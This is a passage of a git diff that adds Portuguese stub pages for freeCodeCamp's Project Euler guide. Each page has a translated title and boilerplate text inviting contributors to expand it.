+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-226-a-scoop-of-blancmange/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-227-the-chase/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-227-the-chase/index.md
new file mode 100644
index 0000000000..418e70a3f9
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-227-the-chase/index.md
@@ -0,0 +1,9 @@
+---
+title: The Chase
+localeTitle: A caçada
+---
+## Problema 227: A perseguição
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-227-the-chase/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-228-minkowski-sums/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-228-minkowski-sums/index.md
new file mode 100644
index 0000000000..8073654927
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-228-minkowski-sums/index.md
@@ -0,0 +1,9 @@
+---
+title: Minkowski Sums
+localeTitle: Sums Minkowski
+---
+## Problema 228: Soma de Minkowski
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-228-minkowski-sums/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-229-four-representations-using-squares/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-229-four-representations-using-squares/index.md
new file mode 100644
index 0000000000..3ab79b4841
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-229-four-representations-using-squares/index.md
@@ -0,0 +1,9 @@
+---
+title: Four Representations using Squares
+localeTitle: Quatro Representações usando Quadrados
+---
+## Problema 229: Quatro Representações Usando Quadrados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-229-four-representations-using-squares/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-23-non-abundant-sums/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-23-non-abundant-sums/index.md
new file mode 100644
index 0000000000..b49903a8b9
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-23-non-abundant-sums/index.md
@@ -0,0 +1,9 @@
+---
+title: Non-abundant sums
+localeTitle: Soma não abundante
+---
+## Problema 23: Soma não abundante
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-23-non-abundant-sums/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-230-fibonacci-words/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-230-fibonacci-words/index.md
new file mode 100644
index 0000000000..ea89d1e6f9
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-230-fibonacci-words/index.md
@@ -0,0 +1,9 @@
+---
+title: Fibonacci Words
+localeTitle: Palavras de Fibonacci
+---
+## Problema 230: Palavras de Fibonacci
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-230-fibonacci-words/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-231-the-prime-factorisation-of-binomial-coefficients/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-231-the-prime-factorisation-of-binomial-coefficients/index.md
new file mode 100644
index 0000000000..6fb003bd4a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-231-the-prime-factorisation-of-binomial-coefficients/index.md
@@ -0,0 +1,9 @@
+---
+title: The prime factorisation of binomial coefficients
+localeTitle: A fatoração primária dos coeficientes binomiais
+---
+## Problema 231: A fatoração primária dos coeficientes binomiais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-231-the-prime-factorisation-of-binomial-coefficients/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-232-the-race/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-232-the-race/index.md
new file mode 100644
index 0000000000..420af8ff7d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-232-the-race/index.md
@@ -0,0 +1,9 @@
+---
+title: The Race
+localeTitle: A corrida
+---
+## Problema 232: A Corrida
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-232-the-race/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-233-lattice-points-on-a-circle/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-233-lattice-points-on-a-circle/index.md
new file mode 100644
index 0000000000..80185066af
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-233-lattice-points-on-a-circle/index.md
@@ -0,0 +1,9 @@
+---
+title: Lattice points on a circle
+localeTitle: Pontos de treliça em um círculo
+---
+## Problema 233: pontos de treliça em um círculo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-233-lattice-points-on-a-circle/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-234-semidivisible-numbers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-234-semidivisible-numbers/index.md
new file mode 100644
index 0000000000..246c008803
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-234-semidivisible-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Semidivisible numbers
+localeTitle: Números semidivisíveis
+---
+## Problema 234: números semidivisíveis
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-234-semidivisible-numbers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-235-an-arithmetic-geometric-sequence/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-235-an-arithmetic-geometric-sequence/index.md
new file mode 100644
index 0000000000..6f46ec2832
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-235-an-arithmetic-geometric-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: An Arithmetic Geometric sequence
+localeTitle: Uma sequência geométrica aritmética
+---
+## Problema 235: Uma sequência geométrica aritmética
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-235-an-arithmetic-geometric-sequence/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-236-luxury-hampers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-236-luxury-hampers/index.md
new file mode 100644
index 0000000000..d750c7b94a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-236-luxury-hampers/index.md
@@ -0,0 +1,9 @@
+---
+title: Luxury Hampers
+localeTitle: Hampers de luxo
+---
+## Problema 236: Hampers de luxo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-236-luxury-hampers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-237-tours-on-a-4-x-n-playing-board/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-237-tours-on-a-4-x-n-playing-board/index.md
new file mode 100644
index 0000000000..b6a4d56cd0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-237-tours-on-a-4-x-n-playing-board/index.md
@@ -0,0 +1,9 @@
+---
+title: Tours on a 4 x n playing board
+localeTitle: Tours em um tabuleiro de jogo 4 x n
+---
+## Problema 237: Passeios em um tabuleiro de jogo de 4 xn
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-237-tours-on-a-4-x-n-playing-board/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-238-infinite-string-tour/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-238-infinite-string-tour/index.md
new file mode 100644
index 0000000000..f38e201467
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-238-infinite-string-tour/index.md
@@ -0,0 +1,9 @@
+---
+title: Infinite string tour
+localeTitle: Tour de cordas infinito
+---
+## Problema 238: Tour de Cadeia Infinito
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-238-infinite-string-tour/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-239-twenty-two-foolish-primes/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-239-twenty-two-foolish-primes/index.md
new file mode 100644
index 0000000000..a1efc9712e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-239-twenty-two-foolish-primes/index.md
@@ -0,0 +1,9 @@
+---
+title: Twenty-two Foolish Primes
+localeTitle: Vinte e dois Primes Tolos
+---
+## Problema 239: Vinte e dois Primes Tolos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-239-twenty-two-foolish-primes/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-24-lexicographic-permutations/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-24-lexicographic-permutations/index.md
new file mode 100644
index 0000000000..3f06da6242
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-24-lexicographic-permutations/index.md
@@ -0,0 +1,9 @@
+---
+title: Lexicographic permutations
+localeTitle: Permutações Lexicográficas
+---
+## Problema 24: permutações Lexicográficas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-24-lexicographic-permutations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-240-top-dice/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-240-top-dice/index.md
new file mode 100644
index 0000000000..92918c9e23
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-240-top-dice/index.md
@@ -0,0 +1,9 @@
+---
+title: Top Dice
+localeTitle: Dados principais
+---
+## Problema 240: Dados Principais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-240-top-dice/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-241-perfection-quotients/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-241-perfection-quotients/index.md
new file mode 100644
index 0000000000..941f6ac4c0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-241-perfection-quotients/index.md
@@ -0,0 +1,9 @@
+---
+title: Perfection Quotients
+localeTitle: Quocientes de perfeição
+---
+## Problema 241: Quocientes de Perfeição
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-241-perfection-quotients/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-242-odd-triplets/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-242-odd-triplets/index.md
new file mode 100644
index 0000000000..e48387848e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-242-odd-triplets/index.md
@@ -0,0 +1,9 @@
+---
+title: Odd Triplets
+localeTitle: Trigêmeos ímpares
+---
+## Problema 242: trigêmeos ímpares
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-242-odd-triplets/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-243-resilience/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-243-resilience/index.md
new file mode 100644
index 0000000000..bbe4c9230b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-243-resilience/index.md
@@ -0,0 +1,9 @@
+---
+title: Resilience
+localeTitle: Resiliência
+---
+## Problema 243: Resiliência
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-243-resilience/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-244-sliders/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-244-sliders/index.md
new file mode 100644
index 0000000000..987a1feec5
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-244-sliders/index.md
@@ -0,0 +1,9 @@
+---
+title: Sliders
+localeTitle: Sliders
+---
+## Problema 244: Sliders
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-244-sliders/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-245-coresilience/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-245-coresilience/index.md
new file mode 100644
index 0000000000..744165563d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-245-coresilience/index.md
@@ -0,0 +1,9 @@
+---
+title: Coresilience
+localeTitle: Coresilience
+---
+## Problema 245: Coresiliência
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-245-coresilience/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-246-tangents-to-an-ellipse/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-246-tangents-to-an-ellipse/index.md
new file mode 100644
index 0000000000..5c64717023
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-246-tangents-to-an-ellipse/index.md
@@ -0,0 +1,9 @@
+---
+title: Tangents to an ellipse
+localeTitle: Tangentes para uma elipse
+---
+## Problema 246: Tangentes para uma elipse
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-246-tangents-to-an-ellipse/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-247-squares-under-a-hyperbola/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-247-squares-under-a-hyperbola/index.md
new file mode 100644
index 0000000000..986437d3f5
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-247-squares-under-a-hyperbola/index.md
@@ -0,0 +1,9 @@
+---
+title: Squares under a hyperbola
+localeTitle: Quadrados sob uma hipérbole
+---
+## Problema 247: Quadrados sob uma hipérbole
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-247-squares-under-a-hyperbola/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-248-numbers-for-which-eulers-totient-function-equals-13/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-248-numbers-for-which-eulers-totient-function-equals-13/index.md
new file mode 100644
index 0000000000..ff6c4393e2
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-248-numbers-for-which-eulers-totient-function-equals-13/index.md
@@ -0,0 +1,9 @@
+---
+title: Numbers for which Euler’s totient function equals 13!
+localeTitle: Números para os quais a função totiente de Euler é igual a 13!
+---
+## Problema 248: Números para os quais a função totiente de Euler é igual a 13!
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-248-numbers-for-which-eulers-totient-function-equals-13/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-249-prime-subset-sums/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-249-prime-subset-sums/index.md
new file mode 100644
index 0000000000..aa969ecbbc
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-249-prime-subset-sums/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime Subset Sums
+localeTitle: Soma de subconjunto principal
+---
+## Problema 249: soma subconjunto Prime
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-249-prime-subset-sums/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-25-1000-digit-fibonacci-number/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-25-1000-digit-fibonacci-number/index.md
new file mode 100644
index 0000000000..2e59190c17
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-25-1000-digit-fibonacci-number/index.md
@@ -0,0 +1,9 @@
+---
+title: 1000-digit Fibonacci number
+localeTitle: Número de Fibonacci de 1000 dígitos
+---
+## Problema 25: número Fibonacci de 1000 dígitos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-25-1000-digit-fibonacci-number/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-250-250250/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-250-250250/index.md
new file mode 100644
index 0000000000..3bde816e15
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-250-250250/index.md
@@ -0,0 +1,9 @@
+---
+title: '250250'
+localeTitle: '250250'
+---
+## Problema 250: 250250
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-250-250250/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-251-cardano-triplets/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-251-cardano-triplets/index.md
new file mode 100644
index 0000000000..65c07a4dec
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-251-cardano-triplets/index.md
@@ -0,0 +1,9 @@
+---
+title: Cardano Triplets
+localeTitle: Cardano Trigêmeos
+---
+## Problema 251: Trigêmeos Cardano
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-251-cardano-triplets/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-252-convex-holes/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-252-convex-holes/index.md
new file mode 100644
index 0000000000..461b457824
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-252-convex-holes/index.md
@@ -0,0 +1,9 @@
+---
+title: Convex Holes
+localeTitle: Buracos Convexos
+---
+## Problema 252: Orifícios Convexos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-252-convex-holes/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-253-tidying-up/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-253-tidying-up/index.md
new file mode 100644
index 0000000000..7f2b982134
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-253-tidying-up/index.md
@@ -0,0 +1,9 @@
+---
+title: Tidying up
+localeTitle: Arrumar
+---
+## Problema 253: Arrumando
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-253-tidying-up/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-254-sums-of-digit-factorials/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-254-sums-of-digit-factorials/index.md
new file mode 100644
index 0000000000..81776f4c0a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-254-sums-of-digit-factorials/index.md
@@ -0,0 +1,9 @@
+---
+title: Sums of Digit Factorials
+localeTitle: Soma dos Fatoriais de Dígito
+---
+## Problema 254: Soma dos Fatoriais de Dígito
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-254-sums-of-digit-factorials/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-255-rounded-square-roots/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-255-rounded-square-roots/index.md
new file mode 100644
index 0000000000..a1952d8fce
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-255-rounded-square-roots/index.md
@@ -0,0 +1,9 @@
+---
+title: Rounded Square Roots
+localeTitle: Raízes Quadradas Arredondadas
+---
+## Problema 255: Raízes Quadradas Arredondadas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-255-rounded-square-roots/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-256-tatami-free-rooms/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-256-tatami-free-rooms/index.md
new file mode 100644
index 0000000000..ac1d68b828
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-256-tatami-free-rooms/index.md
@@ -0,0 +1,9 @@
+---
+title: Tatami-Free Rooms
+localeTitle: Quartos sem Tatami
+---
+## Problema 256: Salas sem Tatami
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-256-tatami-free-rooms/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-257-angular-bisectors/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-257-angular-bisectors/index.md
new file mode 100644
index 0000000000..5b5ac3e1a8
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-257-angular-bisectors/index.md
@@ -0,0 +1,9 @@
+---
+title: Angular Bisectors
+localeTitle: Bissectores Angulares
+---
+## Problema 257: Bissectores Angulares
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-257-angular-bisectors/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
